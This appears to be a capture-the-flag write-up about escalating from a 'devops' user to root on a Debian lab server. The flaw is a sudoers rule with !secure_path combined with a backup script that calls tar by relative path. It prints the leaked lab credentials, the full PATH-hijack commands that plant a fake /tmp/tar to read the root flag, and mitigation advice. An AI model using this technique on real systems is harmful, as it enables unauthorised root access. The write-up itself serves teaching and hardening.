Shadow Back up Challenge

---

1. Executive Summary

This report details the successful exploitation of a critical misconfiguration on a target Debian server, leading to a full privilege escalation from a low-privilege user (devops) to the root user. The vulnerability stems from a combination of an insecure sudoers policy, specifically the disabling of the secure_path directive, and the use of a relative command path within a privileged script. The exploit leveraged a classic **PATH Hijacking** technique to execute arbitrary code with elevated permissions, resulting in the retrieval of the root flag.

2. Target System Overview and Initial Reconnaissance

The target system presented a lightweight web portal environment. Initial investigation of the web application's configuration files yielded critical information, including database credentials and a direct hint toward a system maintenance script.

2.1. Key Findings from Web Directory

Analysis of the /var/www/html/portal/config.php file provided the following sensitive data:

```php
<?php
$db_user = "devops";
$db_pass = "Devops@2024";
$note = "Backup script at /opt/internal/backup.sh";
?>
```

Finding	Value	Significance
User Account	devops	Potential system user for privilege escalation.
Password	Devops@2024	Credential for initial system access (assumed).

Finding	Value	Significance
Critical Hint	/opt/internal/backup.sh	Direct path to a privileged maintenance script.

3. Vulnerability Deep Dive: The Dual Flaw

The privilege escalation vector was established by two distinct, yet synergistic, security flaws: an insecure script design and a permissive sudoers configuration.

3.1. Insecure Script Design

The script /opt/internal/backup.sh was designed to perform a system backup. Its contents are shown below:

```
#!/bin/bash
```

```
# Script to create a compressed archive of the web root
```

```
tar -czf /tmp/backup.tar.gz /var/www/html
```

The critical flaw here is the invocation of the tar utility without an absolute path (e.g., /usr/bin/tar). In a standard shell environment, the system resolves the command by searching directories listed in the PATH environment variable.

3.2. Sudoers Policy Misconfiguration

The devops user was granted the ability to execute this script with root privileges, as detailed in the /etc/sudoers file:

```
devops ALL=(root) NOPASSWD: /opt/internal/backup.sh
```

```
Defaults:devops !secure_path
```

This configuration is highly insecure for two reasons:

1. **NOPASSWD**: Allows the script to be run as root without authentication.
2. **!secure_path**: This is the primary enabler for the exploit. By default, sudo resets the PATH variable to a secure, minimal list of directories to prevent exactly this type of attack. The !secure_path directive overrides this security measure, allowing the user's potentially malicious PATH environment to persist during the privileged execution.

4. Exploit Methodology: PATH Hijacking

The exploitation strategy involved injecting a malicious executable into the execution path of the privileged script.

4.1. Payload Creation

A temporary, writable directory (/tmp) was used to create a substitute for the legitimate tar binary. This malicious script, also named tar, was designed to execute the final objective (reading the root flag) before exiting.

4.2. Execution Sequence

The following sequence of commands was executed by the low-privilege devops user:

```
# 1. Create the malicious executable in a user-writable directory.
```

```
# This script will be executed instead of the real 'tar' binary.
echo '#!/bin/bash' > /tmp/tar
echo 'echo "--- PATH Hijack Successful: Executing Payload ---"' >>
/tmp/tar
echo 'cat /root/flag/root.txt' >> /tmp/tar
chmod +x /tmp/tar

# 2. Modify the current shell's PATH environment variable.
# The /tmp directory is prepended, ensuring it is searched first.
export PATH=/tmp:$PATH

# 3. Execute the vulnerable script using sudo.
# Due to !secure_path, the modified PATH is respected, and /tmp/tar is
run as root.
```

```
sudo /opt/internal/backup.sh
```

The execution of sudo /opt/internal/backup.sh successfully triggered the malicious /tmp/tar script, which then executed the cat command with root privileges, retrieving the flag.

5. Conclusion and Flag

The vulnerability was successfully exploited through the combination of a relative command path in a privileged script and the disabling of secure_path in the sudoers file.

Retrieved Flag: SECE{sudo_secure_path_is_not_your_friend}

6. Mitigation Recommendations

To prevent this class of privilege escalation vulnerability, the following security measures are strongly recommended:

Vulnerable Configuration	Secure Configuration	Rationale
tar -czf ... (Relative Path)	/usr/bin/tar -czf ... (Absolute Path)	Ensures the intended binary is always executed, regardless of the PATH variable.
Defaults:devops !secure_path	Defaults:devops secure_path (Default)	Enforces a secure, hardcoded PATH for all sudo executions, preventing environment variable manipulation.
NOPASSWD for script	Require password or remove NOPASSWD	Reduces the ease of exploitation, though not a primary mitigation for this specific flaw.
Script Writable by User	Script owned by root and read-only for others	Prevents a low-privilege user from directly modifying the script's contents.

Primary Recommendation: Re-enable the secure_path default for all users and ensure all commands within scripts executed by sudo use **absolute paths**.